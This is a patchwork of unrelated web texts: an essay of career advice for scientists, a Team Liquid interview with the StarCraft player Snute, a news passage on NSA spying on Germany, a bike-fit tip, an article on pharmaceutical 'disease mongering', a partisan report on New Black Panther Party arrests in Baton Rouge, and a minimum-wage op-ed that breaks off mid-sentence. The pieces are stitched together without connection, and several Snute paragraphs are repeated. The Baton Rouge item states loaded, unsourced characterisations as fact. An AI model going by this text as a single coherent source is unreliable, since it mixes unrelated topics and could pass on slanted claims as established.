scientific creativity, perhaps the best solution is to force exposure to new ideas, concepts, and people. Hamming also discussed the importance of this kind of exposure by “keeping your door open” [3]. I think that more than just keeping one's door open, a more direct way of doing this is to become involved in entirely new fields from time to time, which tends to promote creative thinking outside established dogma. So, don't worry about your age, worry about whether you are continuing to expose yourself to new and challenging ideas.  2. Tinker. While it is not frequently acknowledged either in the popular press or in scientific literature, a significant fraction of scientific discovery is the result of serendipity (or to put it more bluntly, luck). From the discovery of penicillin by Fleming to the discovery of new ionization techniques such as MALDI that power modern mass-spectrometry based proteomic research, luck has frequently played a big role. Such discoveries are generally attributed to hard work and genius, rather than to luck. Doing so gives the “genius” too much credit and luck too little. Often the big discoveries come from someone noticing an inconsistency or oddity in their surroundings or experiments, then doggedly working to figure out what is causing it. So perhaps being a great scientist is less about “genius” than it is about willingness to pursue the unusual at the expense of pursuing the usual. This comes back to the argument about age: often, once one has become entrenched in a paradigm, blindness to inconsistencies grows, and so it takes someone from outside of a field to point those out and pursue them. This should be encouraging news for those of us who don't consider ourselves geniuses. The best way to promote scientific success may be to maximize exposure to chance occurrence and events—especially those that have more upside than downside potential. So, don't just ignore those little inconsistencies that arise in your work, give them some room for consideration. This is something anyone can do, though it takes time and courage (see point 3, below). In addition, to be creative and remain open to fortuitous occurrences, the mind needs a rest from time to time. One can be buried in the lab 20 hours a day, and easily become lost in the self-created world where the little oddities begin to escape notice. Fleming discovered penicillin upon return from a long vacation, and his fresh mind may have contributed to the key observation he made on the effect of mold upon bacterial cultures. So it is critical to balance hard work with other activities, particularly those that provide exposure to new and different challenges: travel, sports, hobbies, family, or whatever.  3. Take risks. Risk taking is where most of the big discoveries in science lie. Recall Dr. Marshall and H. pylori: he was willing to swallow a culture of the bacterium to prove his theory. And later, he shared the Nobel Prize for it. It may not be wise to go around drinking random bacterial cultures in the hopes of discovering something new. But it is important when something outside the current scientific fashion is discovered, to at least consider the risks and possible payoffs of pursuing it. Those who do pursue such ideas may find it hard to get funding for them. Others may say it is a bad idea. People may reject papers, expressing vehement opposition to a new idea. For really groundbreaking ideas, there may even be hecklers at talks! But, as Hamming pointed out in his lecture: “The great scientists, when an opportunity opens up, get after it and they pursue it” [3]. Pursuing new lines of inquiry can be very discouraging at times, but it is all part of the process any new idea goes through to transform from fringe to mainstream. I recall one major experience I had with this. Around 1996, I came up with an idea for doing DNA sequencing reactions in a test tube in a way that is very much like pyrosequencing today. After presenting it to a mentor and having it shot down, I gave up on it and went back to my “safe” work. While that was not a great time to pursue a new line of work outside my graduate studies, perhaps I should not have given up so quickly, considering the importance of pyrosequencers now. Risk taking may be a particular challenge for female scientists. It seems that cultural norms discourage risk taking in young girls more so than in boys, and this can carry forward through to adulthood and into scientific careers. The top female scientists I know of take risks in their work, but they seem to be a minority. So it seems especially important for mentors of female students, postdocs, and young faculty, to provide encouragement in this regard. This same issue may apply to other minorities in science as well.  4. Enjoy your work! It is quite easy in today's science to get caught up in the “external rewards” game, meaning: seeking praise, high profile publications, and honors or awards. But these are transient and illusory rewards. The prestigious prizes and high profile publications are often a lottery—in addition to some of the factors above, there is a lot of luck involved in who happens upon the “really big” discoveries. One may or may not get lucky, and may or may not get recognition for that. Sometimes recognition only comes after the prime of one's career—John Fenn received the Nobel Prize at 85 years old. That's a long time to wait for reward if you're just doing science for the sake of such rewards (I doubt that was Fenn's motivation for discovering electrospray ionization). A different and much more gratifying way to pursue a career is to simply enjoy the work! Do science for the sake of doing it. This is as likely as anything to lead to big discoveries and fame. But even if those things don't happen, you are enjoying yourself, and life is too short not to do so.  5. Learn to say “No!”. Over the span of a career, one gets asked to do many non-science activities: serving on committees, grant reviews, paper reviews, and so on. While it is important to contribute effort to these things to keep the system functioning, it is necessary to set a limit, so that they don't take over the fun of doing science itself. The system will not collapse just because one says “no” from time to time in order to preserve time to do science. Learning to say “no” is particularly important for young faculty, who find themselves barraged with such requests, and who can easily get sucked into full-time committee duties. It is wise to step back frequently and ask, “overall, is this work I am doing fun?” If the answer is no, perhaps it is time to revisit points 1 and 4 above, and consider diving into a new area.  6. Learn to enjoy the process of writing and presenting. Note the distinction in this guideline from: “learn to write and present well.” Many students I encounter dislike writing more than anything else they do. As a result, when it comes time to write a paper, it is a struggle from start to finish, both for them and for those working with them. When one doesn't like doing something, procrastination is the most common response. Procrastination and good writing don't mix. I say this even though I am someone who, as an undergraduate, would work all night on a term paper to turn it in at the last moment, and often receive an “A”. But in the real world of scientific paper writing, that first draft just won't cut it. It usually takes three or more significant rewritings and lots of input from others to get it right. Combine that with procrastination and it's a recipe for not getting a good paper out in a timely fashion, or perhaps not at all. So the key is to figure out how to enjoy the writing process, thereby encouraging oneself to avoid procrastination. There is no one formula that works for everyone—some people need utter peace and quiet for their writing. Others prefer writing at a coffee shop, or to have music playing. The thing is to figure out what works, and to stick with it, training oneself to have positive mental associations with writing. Robert Boice, in his book Advice for New Faculty Members, suggests the key is to do a little bit of writing every day [4]. The goal is simply get the ideas on the page, without worrying about their form at the beginning. By doing this a little bit every day—perhaps only 30–60 minutes—it is amazing how quickly and enjoyably a big writing project can take shape through a process of gradual evolution. This often takes significant retraining, however. Many of us begin with the notion that writing should come in sudden bursts of dramatic creation. This message is conveyed frequently in movies that portray an author writing a novel in a sudden last minute rush, and it is reinforced in high school and college by many of us learning to get away with writing papers at the last minute (and still doing well). Reprogramming that unrealistic expectation out of one's head is therefore a key to learning to enjoy writing. The same principle applies to giving a good presentation: enjoy its making and giving. Forget everything you ever learned about giving dry, stuffy presentations (i.e., all those things in the document How to Make a Scientific Lecture Unbearable) [5]. While it is critical to have good science in your talk, it is equally critical to bring that science to life for the audience. That is nigh impossible if you are scared to death of being in front of the audience, or if you are completely bored by your subject matter. If you are bored, the audience will surely be bored, and you might as well not have wasted their time—or your own. The last thing a reader or talk attendee wants to see is a bunch of data just to prove that you did some work. It is much more interesting to tell a story. The story begins with why you started the work in the first place (the big reasons, not just “because my advisor told me to”), it usually has mystery and intrigue (e.g., dead ends, which are worth reporting only if they helped lead you to the final answer), and some kind of dramatic conclusion (which challenges the audience to think about things in a new way). This may seem like overstatement, but having sat through many extraordinarily dry, boring scientific talks (and having read many dry papers), I find that the ones that stand out are those that have such elements. If there is a lack of enthusiasm for the work you are doing, that may be a sign that it's the wrong work for you to be doing. It can be a fun challenge to figure out who your audience is and what they will respond to. For example, when I was a postdoctoral researcher, I once gave a group meeting presentation accompanied by sound effects borrowed from Monty Python. We all had a good laugh, and I still managed to convey some science, too. But I would never do this at a scientific conference. Yet at a conference with a series of 15 minute talks, it is still possible to give a presentation that stands out—by enjoying its making and giving, and fine-tuning it for that audience. Elements such as presenting clear, understandable slides, and providing adequate introduction and background to the audience are very important. But it is most important to discuss subject matter that you have enthusiasm about. Once one has learned to enjoy writing and presenting, it is very likely that writing well and presenting well will follow, since it is more difficult to do a truly poor job of something one enjoys doing.
-Liquid`Snute: Because it Just Makes Sense Text by Liquid`Nazgul Because It Just Makes Jens  It's been satisfying to read the speculation about Snute joining Liquid. I thought that Snute and Liquid were a perfect match, and it was great to see that so many people agreed. It means that we've done a good job showing our fans what kind of vision we have for our players, and that Snute has done a great job in showing everyone the personality that was so attractive to us. It was a no brainer that we were interested in Snute as a Liquid player, and I'm very happy to make it official.  Snute lives up to what I want my players to stand for. He's extremely down to earth, thoughtful, and caring about his fans. He also cares a lot about his position as a professional gamer, and tries to present himself and his industry in a positive manner.  Although I'd love to pick up a non-Korean Terran / Protoss player who's right for Liquid - and I'm sure you all have your favorites among them - for me Snute is the perfect pickup even if it makes us a little Zerg heavy. With how critical Liquid is about its recruits, when the perfect player and person comes along, race can only have a limited impact in the decision. For me it is more important for Snute's character to fit Liquid than his race. There are very few players out there with the skill, potential, and personality to join Liquid, and I wasn't going to let this opportunity get away.  We had been talking to Snute for some time now, and were close to a deal before HomeStory Cup VI. Winning HSC just reaffirmed what we already knew about his skill. There's a popular impression that I don't want to recruit tournament winners, and focus on up and coming players instead. Although I love to be able to scout lesser known players and help them develop into stars on Liquid, it's not an approach I'm stuck with. Just like with race, that's only one of the many factors that end up contributing to a decision. Snute has so much ahead of him still, and we would love to help him achieve all that he can.  Snute will travel to Poland to play his first tournament as a Liquid player at IEM Katowice. After that... One of the things drew Snute to Liquid was that we both wanted him to spend a period in Korea for training. The details are still to be determined, but we will definitely make it happen at some point this year. You can count on seeing Snute in Korea in 2013, and hopefully in the Proleague as well!  Liquid did amazing things in 2012, and we're on pace to do the same in 2013. Welcome to the team, Liquid`Snute.  - Liquid`Nazgul  Connect to Liquid`Snute  Watch Liquid`Snute Follow Liquid`Snute and TeamLiquidPro on Twitter! Watch Liquid`Snute Stream!  Replay Pack!  Download Now Check out this replay pack from Liquid`Snute, including games against NaNiwa, Kas, Stephano, and more!  Interview with Liquid`Snute  This is a big day for Liquid. We couldn't be happier to announce the first Norwegian since Liquid`Drone back in 2002.  We sat down to talk to him about his views on practice, StarCraft, and how his life has been since he dedicated himself to becoming a professional gamer one year ago.  Welcome! Could you introduce yourself?  Hi! My name is Jens, I'm 22 years old and have been playing SC2 full-time for one year. I used to be studying music technology at the university in Trondheim, but I quit and became a pro-gamer instead.  Tell us about your gaming experience before starcraft. There might be some people who don't know of your achievements!  Hehe ^^ I used to compete a lot in dance dance revolution, also known as machine dance, and was the Norwegian champion way back somewhere around 2004.  So how did you get into StarCraft?  A friend of mine in elementary school had an older brother that played Brood War, so my friend and I had small LANs where we'd play games like Dark Colony and Brood War. Eventually we introduced it to the boys and girls at school and it became the flavor of the month. At some point there were like fifteen 11year old boys and girls playing brood war and meeting online with dialup modem haha. It was rather casual though. I kept on playing casually for a few years a bit on and off, but quit completely eventually.  In 2011 you started to stream and eventually you would achieve some results in WCG and qualify for ESWC. What made you start to get competetive?  I think what triggered it for me was going on a vacation to Korea with my friend Richard 'GLRiChY', where we played some on iCCup before the release of SC2. I got smashed left and right and some korean BM'd me with a simple line: "You need effort". After that trip to Korea I got a bit of my competetive drive back.  I didn't start playing SC2 right away, but picked it up after a month or so. As some people know from early on I didn't play 1v1, but 2v2 with my teammate RiChY and we would compete together. He always had high expectations and I'd often be holding the team back, so it was natural that I wanted to improve to be a better teammate and not make him upset! xD  However, what sparked my drive to win in 1v1 was definitely the Norwegian LANs and the scene we had in Norway early on. There were so many players that were far better than me, so I did everything I could to beat them. Eventually, I did - just barely - and I qualified for WCG and ESWC where I'd face even greater challenges. I was already quite pumped after winning 3 norwegian LANs in a row but I faced even more resistance abroad. That's when the competetive drive kicked in once more.  Your stream gained what we might call a 'cult following'. Why do you think it became so popular, especially being unfeatured? (Sorry! ^^)  Probably because of the commentary and how I used to play back then, my style would always revolve around mass drops, multitasking, baneling bombs, infestor shenanigans, gold bases, baneling busts, mutalisks, 14/14-speedling baneling pressure/allins/micro in ZvZ, things that are really really fun to watch. Lots of explosions. My IRC channel was also a nice place to chill and hang out and talk to people since there were so few, but consistent viewers, so it was very cozy.  Norway isn't known for its gaming scene, while Sweden is a global powerhouse, and Denmark has some strong players in other types of games. Any theories about why Norway seems to have less of an interest in esports?  You can see the difference from Norway to Sweden in our largest competitions: DreamHack and The Gathering. DreamHack puts a lot of effort into SC2. The Gathering hosted a good competition in 2012, but it was not made into mainstage material. This year, there will be little to none focus on ESPORTS at all at TG.  Spending massive amounts of time playing games is unfortunately still not commonly accepted in Norway. Parents are for the most part negative towards video games because of a lot of negative articles about gaming in mainstream media. Receiving support and acceptance from those around you is tremendously important when you want to dedicate a lot of time to something and get good at it, so I hope that the public opinion of gaming in Norway is going to change for the better.  I think Norway has some interest in esports right now, but more from a spectator side. There are a lot of people going to barcrafts and following international SC2 in their spare time. People love to watch DreamHack and the GSL, but little attention is given to the Norwegian scene, because we don't have any truly major/premier events.You can see the difference from Norway to Sweden in our largest competitions: DreamHack and The Gathering. DreamHack puts a lot of effort into SC2. The Gathering hosted a good competition in 2012, but it was not made into mainstage material. This year, there will be little to none focus on ESPORTS at all at TG.Spending massive amounts of time playing games is unfortunately still not commonly accepted in Norway. Parents are for the most part negative towards video games because of a lot of negative articles about gaming in mainstream media. Receiving support and acceptance from those around you is tremendously important when you want to dedicate a lot of time to something and get good at it, so I hope that the public opinion of gaming in Norway is going to change for the better.  Do you feel extra weight as the most successful Norwegian? Even if you now have more help (or challengers) than you might have a year ago?  I used to, in Norwegian competitions. When I was the only one playing full time and dedicating a lot to it, I'd often be nervous and afraid of losing to part-time players. However, that's exactly what happened quite a few times, at WCS for example. Fortunately I've matured and shifted away from that negative mindset. As long as I do my best to win, it doesn't matter. When it comes to the international scene I don't feel any added pressure.  You made the decision to become a full-time pro at the start of 2012. What prompted you to make that decision?  It was mostly about a gradual decline of interest in studying. I also noticed that I couldn't travel much and study at the same time due to strict absence rules at the uni. After winning the autumn LANs and travelling to WCG and ESWC, I realized I had a greater desire to travel and live as a pro-gamer.  I don't want to regret anything and I spent a lot of time thinking about going full-time. I decided that it would be the best time for me to just quit the studies and enjoy life in solitude practicing and streaming from the mancave in Trondheim and then do everything in my power to improve and attend competitions.  When was the first time you thought; "I might be good enough to keep doing this"?  Definitely after the Norwegian 2011 autumn LAN season and after attending WCG2011. After I made my choice, I never had any doubts. I wanted to play full time for one year to see what it'd be like. I constantly pushed my own limits and slowly but surely I managed to catch up to people I previously considered unbeatable to me. I had my plans set for 2012, no looking back, I just kept practicing focusing on the tasks ahead.  What did your family think? What were the challenges getting started?  My parents were skeptical at first. They wanted me to study. But reasoning goes a long way and most of all parents want you to be happy with what you do in life, so eventually my parents came to accept that it was what I wished for. To me there would be little point in going to University if I wasn't motivated for it.  As for how it is to get started ... it's a bit different. I had just moved to a new city, knew only a few people, and just quit uni before making any close friends. The result was spending months in solitude, sometimes I'd go days without talking to people in person and sometimes it would be a bit awkward to interact with people again. It's more of a funny thing though. Even if I was mostly alone I was happy and I had good flatmates to talk to.  There were very few challenges getting started. Playing full-time from an apartment is a very simple and peaceful existence. I did well in planning out my financial situation carefully beforehand and it all worked out. I didn't expect to make big money to begin with. When you start off as a pro-gamer it's all about putting yourself in a stable and comfortable position where you can let go and give it your all for a given time and then re-evaluate.  Throughout the first half of 2012, you only achieved one notable result, winning the ONOG Invitational. Did you ever think of quitting?  No. I had so many things going on and I always had competitions to look forward to, I wanted to do my best in every one of them. While I didn't show top placings it was simply because I was not supposed to do so yet. Backing down was never an option to me despite the lack of notable results.  You are known among your stream viewers for your work ethic, can you describe the practice you put in throughout 2012?  I guess it would all sum up to self-diagnostics, self-observation and targetted elimination of critical errors and weaknesses while slowly building a stronger fundamental understanding of the game. In the beginning of the year I'd judge myself, point out mistakes, find the biggest one of them and eliminate them one at a time. It was a very simple, meticilous, but also slow approach.  At the start of 2012 I would still win games with tricks, mindgames, opponent-tailored strategies, all-ins and blind counters, abusing multitasking and micro rather than focusing on strong fundamental understandings of the matchups. It gave me a bit of success, but I could also not keep up in a lot of situations. I remained open to things, I knew that I had a lot to learn, and I tried my best to understand the game better. It took a very long time, but I managed to readjust and improve. Especially the time in the Ministry of Win and Korea afterwards added to my skill in the areas I lacked.  The part that changed the most in the later parts of 2012 was the mental aspect which truly allowed me to take advantage of the accumulated experience. I've always been very self-judgemental. In practice it would encourage me and act as a reminder, but it also backfired on my self-esteem. What we could see in the end of the year was me overcoming mental obstacles that had been troubling me at international LANs this year.  Apart from practicing hard I want to be friendly, respectful and just trying to learn from my mistakes. Every time I lose it's because of myself and while it's rough it's also encouraging. Sometimes it's difficult to stay positive, but I have such a strong practice flow that's been rolling for months and months, nothing can really stop me from wanting to practice.  What did you find to be the most effective practice? Was there any period where something really flipped a switch?  I really would like to say something sensationalist here but the simple truth based on what I've observed is that my improvement has been pretty much constant throughout the year regardless of where I've been. There have been marginal differences, but a lot can also be attributed to overcoming certain obstacles that give you a certain boost and it's difficult to know for sure what's up. If there was anything that I perceived as a big switch, it would be my confidence boost after returning from Korea. But to me it seems like natural development and practice paying off over time, I don't think there's anything magical to it.  Your style has changed a bit over time, and it usually hasn't had much to do with what's popular at the time. How do you describe your approach to strategy?  In the beginning of the year I'd usually do fast-paced strategies that were fun to use more than effective, and that trait is still somewhat with me today. But back when I practiced in the MoW I developed a better diagnostics system which helped me change my style to avoid losing trends and strategies so that I could win more games.  My approach to strategy today is still similar to what it was before, it's just more well-rounded and I don't take as many risks as I used to. I still have the approach where I'll strike at someone if I spot a weakness. You can still see me use Nydus worms, unorthodox timings and things that generally are perceived as losing moves. I'm a very dangerous opponent in that regard. Even if I'm not taking risks and gambles as often as I used to, it's still something that I am capable of.  I think my default approach is rather simple: Create a winning pattern, attempt to shut down winning patterns from my opponent, strike unexpected timings, and take advantage of leads to finish off my opponent swiftly. Although my strategies vary as well.  You were one of the pioneers of mass infestor...  Kind of, yes. I had some really strong infestor harassment and deadly tactics. But I don't think people would think of me as a pioneer... only a few people would watch me play back then and I'm not sure if it even inspired anyone but my few stream viewers.  ... and now you're not a fan of them? How come?  Actually I like the infestor a lot still, it's very much needed to stay in the game over time. It's more the thing about rushing to the ZvP endgame with broodlord, infestor and spine that is a bit boring. Ling-Infestor used to be one of my favorite combos, it was so strong and fun to play. Neural nerf made it less viable though. It is good that the nerf happened because ling infestor was absolutely ridicilous vs protoss. Now it's not as powerful of an option anymore and less tempting to use, which is a bit unfortunate since it's a very fun style to play. Infestors are still fun to use vs Terran, they are almost always stronger than the Mutalisk. Both are fun to use and viable options.  ZvZ-wise the last GSL finals was all about the infestor, droning up to comfort zone and making roaches. It seems like a lot of modern euro ZvZ revolves around pure roach now though. I think that the infestor is a neccessity to ZvZ in theory, but close map tension makes it a bit difficult sometimes. I've been able to defeat a lot of people using mass roach against greedy infestor play, but it can go both ways.  You were also a pioneer of a particularly imbalanced build on Antiga, care to explain?  Haha, yes ;D I figured that it was possible to take the gold base first vs Protoss and follow it up with a drone transfer from main to gold and abuse a baneling bust timing right before Forge FE Warpgate tech would finish. It was a lot of fun and I am happy that I hopefully contributed to tournaments removing gold bases from their map pools, that's pretty much what I wanted to accomplish with abusing that strategy for weeks on ladder and in an official tournament qualifier. I want to apologize to the protoss players that had to experience it for weeks..  How do you characterize the way you play now? It's not exactly 'standard' anyway. ^^  I don't know. I hear from my colleagues that my style is difficult to play against and that it's not all turtly and stuff, but I still feel like I play rather standard with the one exception of not going up to hive tech all that fast. I'm not doing nearly as many multitasking taxing things and crazy strategies as I used to, I'm far less creative than I used to be, so to me I feel very plain compared to what I used to be. But I'm happy to hear that!  You've had some solid results in the past few months, but your big breakthrough seems to have been Homestory Cup. What was the key to your incredible winning run there?  I'm slowly improving month by month, and in every month I have some fluctuations in shape. I was in good shape at HSC and I had a lot of confidence thanks to my experience, my recent offline tournament results and also the people close to me supporting me so much. Special thanks to my girlfriend.  Where was there room for improvement?  I lost two matches to Stephano. I did a lot of things right but I should focus more on getting my own transitions right. I feel like I improvised a bit more than I should have and it wasn't as crispy as I wanted it to be. With added confidence and preparation, I'll do better. I also need to improve my scouting and not take too many risks and beware of overdroning. The other thing I need to work on is splitting my army and setting up defensive positions more swiftly. Those are the few things I can think of right now.  What are your goals for 2013?  In 2013 I want to become more consistent as a top Euro zerg, if not the best foreigner. I also want to go to Korea and do well for my team. Most of all, I want to give SC2 my all in every moment of practice and work on my attention management and thinking pattern in-game.  Aside from that, exercise more, especially strengthen the back and avoid the typical moderate stress/office pains that I have now. I don't want to experience wrist problems either, so I will bear that in mind while practicing and stretch well. I also started sleeping fewer hours than I used to because I'd oversleep a lot and it takes time and energy away from practice and life.  Liquid is only your second professional team, what brought you to join TL?  I knew that if I was going to join another team it would have to be one of the very best. I played for GamersLeague for over a year and I grew very attatched to them. At the same time I wanted to make sure that I could have the best opportunities available for me to grow as a player. I knew that Liquid would provide me with the opportunities to compete with the very best and be a reliable and encouraging team.  What do you think you can bring to Liquid, and what can Liquid bring to you?  I want to be a great teammate and practice partner. I want to improve and Liquid will bring me plenty of opportunities to practice and prove myself as a competitor. I can also represent the team in Dance Dance Revolution-battles against other SC2 teams if it's ever needed T_T..  What does the Liquid name mean to you?  To me, Liquid has been what the SC2 community is gathered all around and what the community is cheering for, a friendly and mannered team with a strong fighting spirit. I'm very happy to be on the team that is so revered within the community.  As a recent Korean-destroyer, we have to ask you about the difference between Koreans and foreigners. Why do you feel that Koreans have the edge, and how were you able to take it back?  I think there are more Koreans putting a lot of effort into the game than there are foreigners, they also live and support each other in team houses. Most foreigners are hesitant about leaving home. Some of the Koreans also have a lot of experience from competitive Brood War, so that counts too. I was able to take back a bit of the edge because I went full-time and practiced hard.  Thanks so much! Any final words?  Thanks for reading this interview and shoutouts to everyone who's been cheering me on, your support is invaluable. Last year was great but this one will be even better! I'll do my best to show you more great games from all across the world and I'll practice a lot on stream. Don't miss it! Thanks to Liquid for the very warm welcome - it's an honor to be on the team. I also want to show my appreciation to TL's sponsors, The Little App Factory, Razer, Twitch and Barracuda Networks. Thank you!  It's been satisfying to read the speculation about Snute joining Liquid. I thought that Snute and Liquid were a perfect match, and it was great to see that so many people agreed. It means that we've done a good job showing our fans what kind of vision we have for our players, and that Snute has done a great job in showing everyone the personality that was so attractive to us. It was a no brainer that we were interested in Snute as a Liquid player, and I'm very happy to make it official.Snute lives up to what I want my players to stand for. He's extremely down to earth, thoughtful, and caring about his fans. He also cares a lot about his position as a professional gamer, and tries to present himself and his industry in a positive manner.Although I'd love to pick up a non-Korean Terran / Protoss player who's right for Liquid - and I'm sure you all have your favorites among them - for me Snute is the perfect pickup even if it makes us a little Zerg heavy. With how critical Liquid is about its recruits, when the perfect player and person comes along, race can only have a limited impact in the decision. For me it is more important for Snute's character to fit Liquid than his race. There are very few players out there with the skill, potential, and personality to join Liquid, and I wasn't going to let this opportunity get away.We had been talking to Snute for some time now, and were close to a deal before HomeStory Cup VI. Winning HSC just reaffirmed what we already knew about his skill. There's a popular impression that I don't want to recruit tournament winners, and focus on up and coming players instead. Although I love to be able to scout lesser known players and help them develop into stars on Liquid, it's not an approach I'm stuck with. Just like with race, that's only one of the many factors that end up contributing to a decision. Snute has so much ahead of him still, and we would love to help him achieve all that he can.Snute will travel to Poland to play his first tournament as a Liquid player at IEM Katowice. After that... One of the things drew Snute to Liquid was that we both wanted him to spend a period in Korea for training. The details are still to be determined, but we will definitely make it happen at some point this year. You can count on seeing Snute in Korea in 2013, and hopefully in the Proleague as well!Liquid did amazing things in 2012, and we're on pace to do the same in 2013. Welcome to the team, Liquid`Snute. Administrator
-In the past, Germany has pushed for an agreement similar to the understanding that the United States has with Britain and three other English-speaking allies that prohibits spying on one another.  Until now the Obama administration has been loath to broker such a deal with the Germans, who have publicly stated their interest in a nonspying pact, partly because other nations would demand a similar arrangement. But the revelations of recent days have so strained relations between Washington and Berlin that that calculus appears to be changing — especially because American officials have difficulty making a credible case for what the United States has to gain from spying on senior German officials.  In the past, there have been questions about what the United States might gain from entering into a no-spying pact with the Germans. Several years ago, Dennis C. Blair, then the director of national intelligence, held discussions with French officials about such an agreement between the United States and France partly because he thought such a pact could yield practical benefits: it would allow the F.B.I. and other counterintelligence organizations to shift the few resources used in trying to hunt down French spies inside the United States to more productive assignments.  Mr. Blair made the proposal despite the fact that the French are believed to have had an active program of industrial espionage inside the United States, working vigorously to steal American technological secrets. And current and former American intelligence officials said that the Germans are far less aggressive inside the United States than the French.  Administration officials say the National Security Agency, in its push to build a global data-gathering network that can reach into any country, has rarely weighed the long-term political costs of some of its operations. Whether to make those kinds of reciprocal agreements with allies is among the questions two different administration reviews of N.S.A. spying practices hope to address.  One is being run inside the National Security Council. Another is under way by five members of an outside review panel created by Mr. Obama after the disclosures by Mr. Snowden.  Among its members are Richard A. Clarke, who served in the Clinton and both Bush administrations and has become an expert on cyberconflict; Michael J. Morell, a former deputy director of the C.I.A.; and Cass Sunstein, who ran the office of Information and Regulatory Affairs in the Obama White House before returning to Harvard Law School.
-Bike Fit 8 of 9  Saddle position and cleat adjustment are the two primary areas of concern when treating knee pain from cycling.  The Fix: The most common cause of patellar tendonitis is a seat that is too low. Raising the seat so that your leg is near full extension (about 15 to 30 degrees of knee flexion is ideal) at the bottom of your pedal stroke will relieve pressure on the patellar tendon.  A seat that is too far forward could also be the culprit. The aggressive angle of the knee in relation to the pedal can put undue stress on the knee joint. By sliding your saddle back, you change this angle. Small adjustments can make a world of difference.  Lastly, the position of shoe cleats plays a significant role in the stress placed on the patellar tendon. Much like the fore/aft adjustment of your seat, the cleat's fore/aft position must be properly aligned.  It's a general rule that the pedal axle should be directly underneath the ball of the foot (large bone in forefoot on big toe side). If you are experiencing pain, start with the cleat in this position. From here you can move the cleat slightly forward towards the toe, which will help to put the knee angle in a more favorable position.
-Entirely new diseases can be, and have been, invented to extend a manufacturer's patent on a highly profitable drug. Fugh-Berman said Eli Lilly stood to lose a lot of profits once the patent expired on its hugely popular antidepressant Prozac. "So they positioned this new condition, PMDD (Pre-Menstrual Dysphoric Disorder), and then went to physicians and the FDA with their highly paid experts who said PMDD is a tragic disease, and they got approved for Sarafem, the same drug. It's an on-label use for a repackaged drug; they created the disease and then got a drug re-approved that was going off patent."  Just how sly a move was it? "If I as a physician write a prescription for Prozac 20 mg," Fugh-Berman said, "the pharmacist can substitute fluoxetine, the generic. If I write a prescription for Serafem, they can't substitute another drug."  A TEXTBOOK CASE  Dr. Leonore Tiefer, a noted sexologist and associate clinical professor of psychiatry at New York University School of Medicine, said the 1998 approval of Viagra for "erectile dysfunction" -- formerly known as impotence -- created a "sea change" in the field of urology. "It was like being sucked into a very medical model and treatment orientation," she told me.  People immediately started asking about Viagra for women. As it was doing for men, Tiefer said that, as a feminist, writing about women, "I knew what would happen if there was a Viagra for women -- the isolation of the function from the person, the isolation of the genitalia from the rest of the body."  The only way to redefine "what a woman wants" -- and build a case for a drug to "treat" it -- was to turn "it" into a medical condition. Without widespread agreement on its definition, pathophysiology, or clinical manifestations, Female Sexual Dysfunction (FSD) was created. Tiefer called the development of FSD "a textbook case of disease mongering by the pharmaceutical industry and by other agents of medicalization."  With Pfizer's 2011 U.S. Viagra sales pushing $2 billion, and Eli Lilly's Cialis catching up, the booming "enhancement" market suggests that either there has been an extraordinary uptick in male impotence -- or that Pharma has convinced multitudes of men that erectile dysfunction, "E.D." for short, has reached epidemic proportions (40 percent of men are allegedly "at risk"), and drugs are the only solution.  It pains to think of the men who aren't ready when the moment is right as a result of taking Propecia to "treat" another natural effect of aging nearly as widespread among men as occasionally uncooperative equipment: male pattern baldness, or, in medicalese, alopecia.  The fact is you may not need chemical enhancement for the E.D. or the baldness. The best remedy for both may be to reexamine your beliefs about why hair or hardness are so important. A shot of redefined meanings can do wonders to restore normal functioning.
-Members of the New Black Panther Party [NBPP] rioted in front of the Baton Rouge police station on Wednesday. Seven members of the group were arrested. They were protesting the death of Alton Sterling, who died while fighting with police exactly one year earlier. Sterling was a career criminal and a registered sex offender.  Black militants engaged in large-scale violence after Sterling’s death. One officer had several teeth knocked out by an NBPP member. Then on July 17th, 2016, former Nation of Islam member Gavin Eugene Long shot six police officers in Baton Rouge. Three of the victims died. Intense media agitation is believed to have motivated the killer.  Ron Ceasar, a Baton Rouge resident connected to the NBPP, is pledging an escalation of violence. Ceasar was interviewed by the Hayride.com and said a violent civil war is coming.
-When racist progressives in the early 1900s pushed for the minimum wage, they understood its impact: keeping blacks and immigrants out of the workforce by making it illegal for them to out-compete white Americans on the price of their labor.  Today’s progressives aren’t bigots, but the policy they’ve successfully championed — a $15 minimum wage that will take effect in New York City in 2019 — will have the same effect it had a century ago: making it difficult for marginal workers to find employment.  Consider the car-wash industry. These days, 90 percent of new car washes in the United States are fully automated exterior washes with free do-it-yourself high-powered vacuums for cleaning inside the vehicle. Some customers like this model, but men wielding hoses and rags actually do a more thorough job than the very best machines.  Car washes automated because they couldn’t find enough reliable employees willing to work for less than it costs to install hot-air blowers and banks of spinning brushes.  In New York City, it’s a different story. Here, we’re lucky to have a large population of immigrant workers — many of them illegal — willing to do the sort of dirty work that most of us natives avoid. So car washes in the Big Apple tend to have fewer machines and more men. Yes, these jobs involve repetitive work for low pay.  But they’re often better than the alternatives.  During my reporting, I met a 35-year-old gynecologist from Nigeria working at a car wash in Canarsie. The job is helping to pay the bills while he works toward his US medical license. Then there’s the 74-year-old Haitian immigrant, who survives on Social Security but likes keeping busy and supplementing his income cleaning vehicles.  Many more so-called carwasheros in New York City are raising families, subsidizing their meager incomes with Medicaid, food stamps and the Earned Income Tax Credit.  How does taking away their jobs make them better off? The $15 minimum will push New York car-wash operators to automate like the rest of the country, denying workers the right to undercut the machines on cost.  It’s already starting to happen.  Amir Malki, a leading car-wash equipment installer in the region, says over a dozen car-wash operators in New York City have inquired about putting in equipment to eliminate workers.  One owner told me he’s thinking of purchasing $300,000 in equipment that will allow him to eliminate 15 of his 22 men. That’s because when the minimum wage goes from $9 to $15, he’ll have to charge at least $25 per car wash to make a profit — and few will pay that much.  If he automates, quality will suffer but he can lower his price to about $8. “That’s the only way I can think of to survive,” he says.  Veteran car-wash operator Martin Taub owns three New York City locations. One is automated, another is about to be sold off in a real estate deal and the third is full-service — but not for long. Taub is planning to install machines at that location as well, thanks to the $15 minimum.  Those lacking the capital or credit to fully automate can also purchase equipment piecemeal. One option is to install a Dry ’N Shine — a giant spinning wheel wrapped in absorbent material that rolls over the vehicle to sop up moisture.  Equipment installer Malki says the machine can eliminate as many as six men. But it costs about $70,000 including installation, so prior to the passage of the $15 minimum, his New York City clients have mostly held out. “They’ll come around,” says Malki.  Progressives claim they’re fighting for “economic justice,” which is ironic. “Every worker, regardless of what they do or where they came from, is entitled to be treated with dignity and respect,” said the Retail Wholesale and Department Store Union’s president Stuart Appelbaum in a speech about the carwasheros last year.  Is it more dignified to have a difficult job or no job at all? In keeping with progressivism’s long history of infantilizing the poor, Appelbaum and his allies don’t respect the right of the 